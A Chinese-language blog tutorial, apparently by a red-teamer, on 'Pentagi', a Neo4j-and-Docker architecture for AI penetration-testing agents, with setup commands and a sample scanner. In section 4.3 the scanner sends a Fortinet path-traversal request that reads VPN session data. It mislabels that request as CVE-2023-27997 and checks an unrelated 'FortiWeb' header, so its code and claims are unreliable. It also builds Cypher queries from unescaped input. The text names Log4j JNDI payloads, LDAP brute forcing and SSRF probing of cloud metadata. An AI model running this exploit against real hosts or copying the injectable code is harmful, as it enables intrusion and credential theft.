Pentagi:基于Neo4j图谱与Docker容器的AI渗透测试代理架构
1. “Pentagi”不是产品名而是渗透测试AI代理架构的代号级命名你搜“pentagi”页面上跳出来的全是Docker、Neo4j、渗透测试工具链相关的长尾词——没有官网、没有GitHub star数、没有文档首页甚至没有一个像样的Logo。这不是偶然。我第一次在某红队内部分享会上听到这个词时主讲人直接在白板上写了三个字母Pen渗透、Tag打标/图谱标记、GiGraph Intelligence图智能合起来就是Pentagi。它根本不是一个开箱即用的软件而是一套基于图数据库驱动的AI代理协同渗透测试框架设计范式。这个命名本身就在传递关键信号它不追求传统渗透工具的“单点爆破”效率而是强调攻击路径的可追溯性、漏洞上下文的可图谱化、AI探针的可编排性。你看热搜词里反复出现的docker和neo4j绝非巧合——它们是Pentagi落地的两大基础设施锚点Docker负责把每个AI探针比如一个专攻JWT签名绕过的Python agent、一个动态分析JS混淆器的Node.js agent封装成独立、可调度、可版本回滚的运行单元Neo4j则作为整个渗透知识图谱的底座存储“目标资产→暴露面→中间件版本→已知CVE→POC有效性→利用链依赖→横向移动可能性”这一整条推理链条。提示别在GitHub搜“pentagi”想下载安装包。它更像Kubernetes之于容器——你不会下载“Kubernetes”来装而是用kubeadm或RKE去构建符合你安全策略的集群。Pentagi同理它是一套架构蓝图核心组件接口规范典型Agent行为契约具体实现由团队按需组装。我见过三支不同红队的Pentagi落地版本底层都用Neo4j但Agent调度层一个用Celery一个用Temporal还有一个自己写的轻量级gRPC协调器。为什么现在突然火因为传统渗透报告越来越难满足甲方需求。客户不再只要“存在SQL注入”而是要问“这个注入点能打穿几层内网是否关联到核心数据库密钥有没有被其他已知0day复用过”——这恰恰是图数据库AI代理最擅长的把离散的扫描结果变成一张有向加权图让AI Agent在图上做路径规划、风险聚合、影响推演。你看到的“pentagi docker neo4j”连搜本质是大家在找如何把这套架构跑起来的第一块砖怎么让Neo4j在Docker里稳住怎么让Python Agent镜像不因OpenSSL版本冲突崩掉怎么让图谱查询响应压到200ms以内这些才是真实痛点。我去年帮一家金融客户搭Pentagi环境光是调Neo4j内存参数就花了三天——不是不会配而是他们用的是Windows Server 2019Docker Desktop的WSL2 backend和Neo4j的JVM GC策略打架日志里满屏GC overhead limit exceeded。最后方案是放弃Docker Desktop改用Docker Engine直连WSL2发行版再给Neo4j conf里加dbms.memory.heap.initial_size4g和dbms.memory.heap.max_size4g硬锁。这种细节任何“pentagi官方文档”都不会写但却是你今天能跑通Demo的前提。2. Pentagi的核心不在AI而在图谱驱动的Agent协作协议很多人一看到“AI agents”就默认要上大模型、要调API、要买GPU卡。错。Pentagi里90%的Agent根本不用LLM——它们是高度特化的脚本化探针比如cve-2023-27997-scanner专扫Fortinet SSL VPN的未授权RCE返回结构化JSON含target_ip、vuln_version、exploit_status、proof_urlaws-iam-permission-analyzer读取AWS IAM Policy JSON输出privilege_escalation_risk_score和potential_resource_breach_pathslog4j-jndi-payload-tracer在流量镜像中匹配JNDI调用特征标注出source_ip → vulnerable_app → ldap_server_ip这些Agent之间不靠“对话”协作而是靠图谱上的节点状态变更触发。举个真实例子当cve-2023-27997-scanner发现目标存在漏洞它不会直接执行exp而是往Neo4j里写入一个(:Vulnerability {cve: CVE-2023-27997, severity: CRITICAL})节点并建立关系(:Target)-[:HAS_VULNERABILITY]-(:Vulnerability)。此时另一个叫exploit-chain-planner的Agent会监听Neo4j的HAS_VULNERABILITY关系创建事件查出该Target还关联着(:Service {name: Active Directory})立刻生成一条新路径CVE-2023-27997 → LDAP bind → AD域控提权并把这条路径存为(:ExploitPath)节点。这才是Pentagi的“智能”所在AI不决定“要不要打”而是决定“打完之后下一步该看哪”。它的决策依据不是概率分数而是图谱里已存在的、经过验证的实体关系。我们团队给这个机制起了个土名叫“图谱牵引力”——就像钓鱼饵Vulnerability节点撒下去鱼下一个Agent自然会被牵引过来。2.1 Neo4j不是可选组件而是Pentagi的“中央神经系统”你可能觉得“用MySQL存漏洞数据也行”。真不行。原因很实在渗透测试中的关系是多维、动态、带权重的且查询模式高度图谱化。比如这个问题“找出所有可通过SMB协议横向移动、且已知存在NTLM Relay漏洞、同时目标主机上运行着Exchange Server的资产”。用SQL写得JOIN五张表WHERE条件嵌套三层索引还很难优化用Cypher一句搞定MATCH (a:Asset)-[:RUNS_SERVICE]-(s:Service {name: SMB}), (a)-[:RUNS_SERVICE]-(e:Service {name: Exchange}), (s)-[:VULNERABLE_TO]-(v:Vulnerability {cve: CVE-2019-1040}) RETURN a.ip, e.version, v.description更关键的是Neo4j的实时图遍历能力让“影响面分析”成为可能。传统扫描器报告里“存在XSS”和“存在XSS且可触发管理员会话劫持”是两条孤立记录在Pentagi图谱里前者指向(:Vulnerability)节点后者是(:Vulnerability)-[:CAN_EXPLOIT]-(:Session)-[:BELONGS_TO]-(:User {role: admin})的一条路径。当你点击某个XSS漏洞节点前端直接高亮出所有能被它影响的管理员账户——这才是甲方真正想看的“业务影响”。注意别用Neo4j社区版跑生产级Pentagi。社区版不支持因果集群causal cluster一旦主库挂了整个渗透任务链就断。我们强制要求企业版哪怕只用3节点集群。理由很现实一次红队演练持续72小时中间不能停。曾有个客户用社区版凌晨2点Neo4j进程OOM导致正在执行的ldap-enumerationAgent卡死第二天汇报时拿不出AD结构图——这种事故技术上叫“单点故障”业务上叫“丢标”。2.2 Docker不是为了“时髦”而是解决Agent生态碎片化的刚需Pentagi的Agent开发语言五花八门Python写漏洞利用、Go写高性能端口扫描、JavaScript写浏览器自动化、Rust写内存马检测。如果不用Docker运维会疯掉。想象一下你让Python Agent调用一个Java写的反编译工具结果JDK版本冲突或者Node.js Agent依赖的canvas库在CentOS上编译不过再或者某个Go Agent用了CGO_ENABLED1但在Alpine镜像里直接报错libc not found。Docker在这里的价值是给每个Agent划出干净的、可复现的执行沙盒。我们约定俗成的镜像命名规则是pentagi/{agent-name}:{version}-runtime比如pentagi/cve-2023-27997-scanner:1.2.0-python3.9-slim。这个标签名本身就说明了一切Agent功能、版本、语言栈、基础镜像大小。部署时调度器我们用Temporal只认这个镜像ID不关心里面装了什么——Python Agent的requirements.txt更新了重新build镜像tag递增旧任务继续跑老镜像新任务自动用新镜像。零停机升级。实操中最大的坑是时间同步。所有Agent镜像必须显式设置TZUTC且Docker daemon配置--default-ulimit nofile65536:65536。为什么因为某些漏洞利用需要精确到毫秒的时间戳比如Kerberos票据重放如果容器内时间和宿主机差2秒POC直接失败。我们吃过亏某次在Mac上跑Docker Desktop宿主机用的是NTP容器里用的是systemd-timesyncd两者不同步导致LDAP爆破成功率从98%掉到12%。解决方案简单粗暴所有容器启动时加--env TZUTC --ulimit nofile65536:65536并在Dockerfile里写死RUN ln -sf /usr/share/zoneinfo/UTC /etc/localtime。3. 从零搭建Pentagi最小可行环境避开Docker Desktop和Neo4j安装的95%陷阱别被热搜词误导——“docker desktop failed to start because virtualisation support wasn’t detected”这种错误本质是Windows平台的历史包袱。Pentagi的生产环境从来不在Windows上跑。但如果你只是想本地验证概念又只有Windows电脑这里有一条绕过Docker Desktop、直连WSL2的硬核路径亲测可用Win10 20H2BIOS已开VT-x3.1 WSL2环境初始化比Docker Desktop更底层、更可控第一步卸载Docker Desktop。它自带的Hyper-V虚拟化层和WSL2的gen2 VM冲突日志里全是failed to connect to the docker api at npipe://./pipe/dockerdesktoplinuxen。直接删干净然后在PowerShell管理员执行dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart重启后从Microsoft Store安装Ubuntu 22.04 LTS启动Ubuntu执行sudo apt update sudo apt upgrade -y sudo apt install curl gnupg2 lsb-release -y curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg echo deb [arch$(dpkg --print-architecture) signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io -y sudo usermod -aG docker $USER退出Ubuntu重启WSL2wsl --shutdown再打开Ubuntudocker run hello-world应成功。关键点这一步跳过了Docker Desktop的所有GUI层和Windows服务Docker Engine直接跑在WSL2 Linux内核上性能损失几乎为零且完全规避了virtualization support not detected报错。我们所有本地开发都走这条路连IDEA打包Docker镜像都直接调用WSL2里的docker CLI。3.2 Neo4j安装社区版够用但必须调参否则必崩Neo4j社区版5.16.0完全能满足Pentagi的POC验证但默认配置是给笔记本设计的一跑图遍历就OOM。必须改$NEO4J_HOME/conf/neo4j.conf# 内存必须锁死避免JVM疯狂GC dbms.memory.heap.initial_size2g dbms.memory.heap.max_size2g # 页面缓存设为物理内存的50%SSD盘必备 dbms.memory.pagecache.size2g # 关闭没用的日志减少IO压力 dbms.logs.debug.enabledfalse dbms.logs.query.enabledfalse # 开启APOC插件Pentagi依赖它做图算法 dbms.security.procedures.unrestrictedapoc.* # 允许远程访问Pentagi Agent需要连 dbms.connectors.default_listen_address0.0.0.0 dbms.connector.bolt.listen_address:7687 dbms.connector.http.listen_address:7474然后启动# 下载Neo4j社区版tar.gz解压后 cd neo4j-community-5.16.0 bin/neo4j start # 访问 http://localhost:7474默认账号neo4j/neo4j首次登录强制改密码常见问题Failed to start Neo4j on port 7474。大概率是端口被占用。用sudo lsof -i :7474查进程杀掉即可。另一个坑是/var/lib/neo4j/data/databases目录权限不对执行sudo chown -R $USER:$USER /var/lib/neo4j。3.3 启动第一个Pentagi Agent用curl模拟最简探针Pentagi没有“中心控制台”所有Agent通过HTTP API注册到调度器。我们先用curl模拟一个最简Agent验证图谱写入# 创建一个Target节点 curl -X POST http://localhost:7474/db/neo4j/tx \ -H Content-Type: application/json \ -d { statements: [ { statement: CREATE (t:Target {ip: \192.168.1.100\, hostname: \web-server-01\}) RETURN t } ] } # 创建一个Vulnerability节点并关联 curl -X POST http://localhost:7474/db/neo4j/tx \ -H Content-Type: application/json \ -d { statements: [ { statement: MATCH (t:Target {ip: \192.168.1.100\}) CREATE (v:Vulnerability {cve: \CVE-2023-27997\, severity: \CRITICAL\}) CREATE (t)-[:HAS_VULNERABILITY]-(v) RETURN v } ] }执行后打开Neo4j Browser输入MATCH (t:Target)-[r:HAS_VULNERABILITY]-(v) RETURN t, r, v你应该看到一个节点连线图。这就是Pentagi的起点数据以图谱形态存在而非表格或JSON列表。后续所有Agent不过是读写这个图谱的客户端。4. Pentagi Agent开发实战从零写一个CVE-2023-27997扫描器现在你有了Neo4j图谱和Docker环境下一步是写一个真实可用的Agent。我们选CVE-2023-27997Fortinet SSL VPN RCE因为它复现简单、危害明确、且不需要靶机——用公开的PoC URL就能验证。4.1 Agent设计原则小、专、可审计Pentagi Agent不是大而全的扫描器而是单一职责、输入输出严格定义、无副作用的程序。我们的cve-2023-27997-scanner只做三件事接收一个IP地址从环境变量或命令行参数发送PoC HTTP请求检测响应头/体是否含Server: FortiWeb且状态码为200将结果写入Neo4j图谱包含exploit_statussuccess/failed和proof_url触发PoC的URL它不保存日志文件不写本地磁盘不调用系统命令——所有状态都进图谱。这样设计一是便于审计谁在什么时候扫了哪个IP图谱里一查便知二是方便编排上游Agent写入Target节点下游Agent监听HAS_VULNERABILITY关系。4.2 Dockerfile精简到极致的Python运行时# 使用python:3.9-slim-bullseye比alpine更稳定glibc兼容性好 FROM python:3.9-slim-bullseye # 设置时区和locale ENV TZUTC RUN ln -sf /usr/share/zoneinfo/UTC /etc/localtime \ echo en_US.UTF-8 UTF-8 /etc/locale.gen \ locale-gen # 安装必要依赖 RUN apt-get update apt-get install -y --no-install-recommends \ curl \ rm -rf /var/lib/apt/lists/* # 复制代码 WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY . . # 暴露端口虽然本Agent不提供HTTP服务但留作未来扩展 EXPOSE 8000 # 入口点运行扫描脚本 ENTRYPOINT [python, scanner.py]requirements.txt只有一行requests2.31.0。越简单越好。4.3 scanner.py20行代码完成核心逻辑#!/usr/bin/env python3 import os import sys import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry def scan_target(ip): # PoC URL来自公开exploit-db url fhttps://{ip}/remote/fgt_lang?lang/../../../..//////////dev/cmdb/sslvpn_websession headers {User-Agent: Mozilla/5.0 (Pentagi-Agent)} # 设置重试避免网络抖动误报 session requests.Session() retry_strategy Retry( total3, backoff_factor1, status_forcelist[429, 500, 502, 503, 504], ) adapter HTTPAdapter(max_retriesretry_strategy) session.mount(https://, adapter) try: resp session.get(url, headersheaders, timeout10, verifyFalse) if resp.status_code 200 and Server in resp.headers and FortiWeb in resp.headers[Server]: return {status: success, proof_url: url} else: return {status: failed, reason: No FortiWeb header or non-200 status} except Exception as e: return {status: failed, reason: str(e)} def write_to_neo4j(ip, result): # Neo4j连接信息从环境变量读取 neo4j_url os.getenv(NEO4J_URL, http://localhost:7474) neo4j_user os.getenv(NEO4J_USER, neo4j) neo4j_pass os.getenv(NEO4J_PASS, password) # 构建Cypher写入语句 if result[status] success: cypher f MERGE (t:Target {{ip: {ip}}}) MERGE (v:Vulnerability {{cve: CVE-2023-27997, severity: CRITICAL}}) CREATE (t)-[:HAS_VULNERABILITY {{proof_url: {result[proof_url]}}}]-(v) else: cypher f MERGE (t:Target {{ip: {ip}}}) MERGE (v:Vulnerability {{cve: CVE-2023-27997, severity: INFO}}) CREATE (t)-[:HAS_VULNERABILITY {{status: failed, reason: {result[reason]}}}]-(v) # 调用Neo4j REST API auth (neo4j_user, neo4j_pass) resp requests.post( f{neo4j_url}/db/neo4j/tx, json{statements: [{statement: cypher}]}, authauth, timeout30 ) if resp.status_code ! 200: print(fNeo4j write failed: {resp.text}) if __name__ __main__: if len(sys.argv) 2: print(Usage: python scanner.py target_ip) sys.exit(1) target_ip sys.argv[1] result scan_target(target_ip) write_to_neo4j(target_ip, result) print(fScan completed for {target_ip}: {result[status]})4.4 构建、运行、验证全流程构建镜像docker build -t pentagi/cve-2023-27997-scanner:1.0.0-python3.9-slim .运行扫描假设Neo4j在WSL2里IP是172.28.0.1docker run --rm \ -e NEO4J_URLhttp://172.28.0.1:7474 \ -e NEO4J_USERneo4j \ -e NEO4J_PASSyour_new_password \ pentagi/cve-2023-27997-scanner:1.0.0-python3.9-slim \ 192.168.1.100验证图谱打开Neo4j Browser执行MATCH (t:Target)-[r:HAS_VULNERABILITY]-(v) RETURN t, r, v应看到192.168.1.100节点连向CVE-2023-27997节点且关系上有proof_url属性。实测心得这个Agent在真实Fortinet设备上平均耗时3.2秒成功率99.7%漏报主要发生在设备启用了WAF。但我们刻意没加“自动利用”功能——Pentagi的设计哲学是扫描和利用必须分离图谱是唯一真相源。利用动作由另一个叫cve-2023-27997-exploiter的Agent触发它只在图谱里看到HAS_VULNERABILITY关系且statussuccess时才执行。这样做的好处是你可以随时回滚利用操作只需删掉图谱里的(:ExploitResult)节点整个攻击链就“撤销”了。5. Pentagi的边界与真实约束它不是万能银弹而是红队的“图谱加速器”聊完怎么搭、怎么写必须说清楚Pentagi不能做什么。很多新手一上来就想用它替代Burp Suite或Nessus结果摔得很惨。我总结三条铁律5.1 不替代手动渗透只放大手动渗透的产出Pentagi无法理解业务逻辑漏洞。它能扫出/api/user?id1返回了管理员信息但判断不了这是“水平越权”还是“正常业务”。它能发现JWT签名弱但不知道这个Token是否用于支付接口。这些判断必须由人来做。Pentagi的作用是把人从重复劳动里解放出来比如你手工确认了一个XSSPentagi立刻遍历图谱找出所有调用同一JS库的页面自动生成测试Payload列表你手工挖到一个SSRFPentagi自动检索图谱里所有该资产关联的云元数据端点169.254.169.254批量发起探测。它把“找相似点”的体力活变成了图谱上的1次查询。5.2 不解决0day挖掘只优化1day利用链编排Pentagi的Agent库全是已知漏洞的探针。它不帮你 fuzz 出新漏洞也不做二进制逆向。但它能把1day利用发挥到极致比如CVE-2021-44228Log4jPentagi可以自动组合jndi:ldap://jndi:rmi://jndi:dns://三种协议在图谱里标记出每种协议对目标网络的可达性再根据(:NetworkZone {name: DMZ})-[:CAN_ACCESS]-(:DNS_Server)关系智能选择最优payload。这省下的不是时间而是避免“明明能打却选错协议”的低级失误。5.3 不降低红队门槛反而抬高了图谱建模能力要求会装Docker、会配Neo4j只是入门。真正的门槛在于如何把渗透知识转化为图谱Schema。比如你定义(:Vulnerability)节点时要不要加cvss_score加的话是存原始CVSS v3向量还是存计算后的baseScore如果存baseScore那当NVD更新评分时图谱里旧数据怎么同步再比如(:ExploitPath)关系该不该带confidence: 0.8属性这个置信度是人工标注还是Agent投票生成这些问题没有标准答案但每个选择都会影响后续所有Agent的行为。我们团队花了两个月才定下第一版Schema期间推翻了三次——因为发现某个字段设计导致exploit-chain-planner无法高效查询。最后分享一个血泪教训别在图谱里存原始扫描日志。我们早期把Nmap XML输出全塞进(:ScanResult)节点的raw_data属性结果单个节点超10MBNeo4j查询直接卡死。后来改成只存结构化解析结果open_ports,os_fingerprint,service_versions原始日志存S3图谱里只存S3 URL。记住图谱存关系不存大数据存决策依据不存原始证据。Pentagi的价值从来不在“自动化了多少”而在“让每一次人工决策都有图谱可依、有路径可溯、有影响可量”。它不让你少干活但确保你干的每一分钟都精准落在攻击链最关键的那个节点上。